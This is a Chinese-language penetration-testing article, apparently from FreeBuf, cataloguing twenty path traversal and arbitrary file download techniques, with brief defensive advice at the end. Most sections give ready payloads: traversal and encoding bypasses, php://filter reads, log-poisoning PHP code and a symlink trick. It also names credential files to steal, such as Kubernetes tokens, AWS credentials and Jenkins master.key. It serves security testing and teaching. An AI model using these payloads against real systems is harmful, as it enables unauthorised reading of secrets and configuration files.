一、基础路径篡改技巧
1. 经典相对路径遍历
原理:利用../序列向上跳转目录,突破 Web 根目录限制。
实操:拦截文件请求(如/download?file=report.pdf),替换为../../etc/passwd(Linux)或../../windows/system.ini(Windows)。
案例:某商平台图片加载接口/image?filename=product.jpg,通过../../../var/www/config.php成功下载数据库配置文件。
防御:递归过滤../序列,限制路径跳转深度。
2. 绝对路径直接访问
原理:部分应用仅过滤相对遍历符,对绝对路径校验缺失。
实操:直接传入系统敏感文件绝对路径,如/download?file=/etc/shadow(Linux)或/download?file=C:\boot.ini(Windows)。
注意:Windows 系统需注意路径分隔符,可尝试\与/混用(如C:/Windows/repair/sam)。
3. 路径参数拼接绕过
原理:应用将用户输入与固定前缀拼接时,可通过截断或跳转突破限制。
实操:若代码为$path = "/var/www/files/" . $_GET['file'],构造file=../config.php,最终路径变为/var/www/files/../config.php。
变种:针对$path = $_GET['dir'] . "/report.pdf",传入dir=../../etc实现路径跳转。
4. 文件名截断攻击
原理:利用特殊字符截断后端路径拼接,移除多余后缀。 实操:
- 空字节截断:
/download?file=../../etc/passwd%00.pdf(适用于 PHP < 5.3.4) - 问号截断:
/download?file=../../config.php?(服务器将?后视为参数) 案例:某 PHP 应用通过?截断成功绕过.pdf后缀限制,读取源码文件。
5. 多操作系统路径适配
原理:不同系统路径特性差异可突破通用过滤。 实操:
- Linux:利用
../或./(如../../usr/local/apache/conf/httpd.conf) - Windows:支持
..\、/混用(如..\..\Windows\system32\drivers\etc\hosts) - 通用:尝试
~符号访问用户目录(如~/../etc/passwd)
二、过滤绕过进阶技巧
6. 嵌套遍历序列绕过
原理:针对非递归过滤的应用,嵌套../变体可还原有效路径。
实操:若过滤器单次移除../,构造....//....//etc/passwd,过滤后还原为../../etc/passwd。
变种:..\/、.%2e/等变形符号(需结合编码使用)。
7. 多轮编码解码绕过
原理:利用应用与服务器的编码解码差异,隐藏遍历符号。 实操:
- URL 双重编码:
../→%252e%252e%252f(服务器解码两次后还原) - Unicode 编码:
../→..%u2216(部分 Java 应用可解析) - 十六进制编码:
../→%2e%2e%2f(针对 URL 解码后校验的场景)
8. 伪协议替代访问
原理:后端语言伪协议可绕开路径限制直接读取文件。 实操:
- PHP:
php://filter/read=convert.base64-encode/resource=../../config.php(Base64 编码避免乱码) - Java:
file:///etc/passwd(需后端支持文件协议) - Python:
file:///var/www/secret.key(Flask 框架常见) 注意:需确认后端语言类型,避免无效尝试。
9. 文件后缀模糊匹配
原理:应用通过后缀白名单校验时,可添加无效后缀绕过。
实操:若仅允许.pdf,构造../../etc/passwd.pdf(部分应用仅校验后缀存在性)。
变种:
- 空格后缀:
passwd.pdf(Windows 系统忽略末尾空格) - 多后缀:
passwd.php.pdf(部分解析器优先识别首个后缀)
10. HTTP 方法切换绕过
原理:部分接口仅在 GET 方法校验路径,POST 方法可绕过。 实操:
- 原请求:
GET /download?file=report.pdf(过滤../) - 改为 POST:
POST /download,Body 中file=../../etc/passwd案例:某政务系统文件下载接口,POST 方法未校验路径导致敏感数据泄露。
三、服务器与组件特性利用
11. 中间件配置缺陷利用
原理:服务器配置错误可直接引发文件下载漏洞。 实操:
- Apache:
Options +Indexes开启时,访问/files/../../可列出目录文件 - Nginx:alias 配置错误,如
location /files/ { alias /var/www/; },构造/files../etc/passwd - IIS:
~/符号解析漏洞,/download?file=~/../web.config防御:禁用目录浏览,严格配置 alias 与 root 路径。
12. 第三方组件已知漏洞
原理:复用公开组件漏洞直接读取文件。 实操:
- Jenkins:利用 CVE-2024-23897,通过
@/etc/passwd参数读取文件(需访问权限) - Tomcat:未授权访问
/manager/text/list获取路径,再构造下载请求 - Weblogic:CVE-2020-14882 漏洞可读取任意文件 工具:使用 Nuclei 扫描组件版本匹配漏洞。
13. 日志文件联动读取
原理:先写入恶意路径到日志,再通过漏洞读取日志获取敏感信息。 实操:
- 访问
/index.php?file=<?php echo file_get_contents('/etc/passwd');?>,将 Payload 写入 Apache 日志 - 通过漏洞下载
/var/log/apache2/access.log,执行嵌入的 PHP 代码 注意:需确认日志路径与权限(通常www-data可读取)。
14. 容器与云环境特性
原理:容器化部署存在特殊敏感文件路径。 实操:
- Docker:
/proc/self/cgroup(获取容器 ID)、/var/run/secrets/kubernetes.io/serviceaccount/token(K8s 令牌) - 云服务器:
/etc/aws/credentials(AWS 密钥)、/root/.aliyun/config.json(阿里云配置) 案例:某容器化应用通过../proc/self/environ获取 JENKINS_HOME 路径,进而下载密钥。
15. 符号链接文件利用
原理:Linux 系统符号链接可映射敏感文件到可访问目录。 实操:
- 若存在文件上传功能,上传包含
ln -s /etc/passwd /var/www/html/link.txt的脚本 - 通过漏洞下载
link.txt获取/etc/passwd内容 限制:需应用允许执行命令或上传脚本可被解析。
四、工具辅助与实战技巧
16. 敏感路径字典爆破
原理:基于常见路径字典批量探测可下载文件。 实操:
- 工具:Burp Intruder 加载字典(含系统配置、应用源码、数据库备份等路径)
- 字典示例:
/etc/passwd、/var/www/config.php、C:\xampp\mysql\data\mysql\user.MYD - 技巧:结合目标技术栈(如 ThinkPHP 对应
/Application/Common/Conf/config.php)
17. 响应内容特征识别
原理:通过响应长度与关键词判断文件是否存在。 实操:
- 存在标志:响应长度 > 0、含
root:x:0:0(Linux)或[boot loader](Windows) - 不存在标志:"文件不存在"提示、响应码 404/403(需排除假阳性) 工具:Burp 添加响应匹配规则自动标记有效结果。
18. 环境变量泄露利用
原理:先读取环境变量获取关键路径,再精准下载文件。 实操:
- Linux:
/proc/self/environ(获取 JENKINS_HOME、PATH 等) - Windows:
%SYSTEMROOT%\system32\cmd.exe /c set(需命令执行权限) 案例:通过/proc/self/environ找到JENKINS_HOME=/var/jenkins_home,进而下载secrets/master.key。
19. 跨漏洞场景联动
原理:结合文件上传、SQL 注入等漏洞提升攻击效果。 实操:
- 上传含路径信息的图片(如嵌入
<?php echo __FILE__;?>) - 通过文件包含漏洞解析图片,获取 Web 根目录路径
- 构造精准路径下载
/var/www/.env配置文件 防御:实施最小权限原则,避免单一漏洞引发连锁风险。
20. 自动化工具深度探测
原理:利用专业工具覆盖手工测试盲区。 推荐工具:
- 静态扫描:Semgrep(检测代码中
file_get_contents($_GET['file'])等危险函数) - 动态扫描:OWASP ZAP(路径遍历插件自动生成 Payload)
- 专项工具:LFISuite(本地文件包含漏洞专用探测工具) 注意:工具结果需人工验证,排除误报。
防御建议
- 输入校验:递归过滤
../等遍历符号,限制路径在预设目录内(如realpath()函数校验)。 - 权限控制:运行 Web 服务的用户(如 www-data)仅授予最小文件读取权限。
- 路径映射:采用文件 ID 替代真实路径(如数据库存储
1->report.pdf,通过 ID 查询路径)。 - 版本管控:及时修复 Jenkins、Tomcat 等组件已知漏洞(参考 CVE 数据库)。
- 日志审计:监控异常文件访问(如频繁请求
/etc/passwd),触发告警机制。
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)



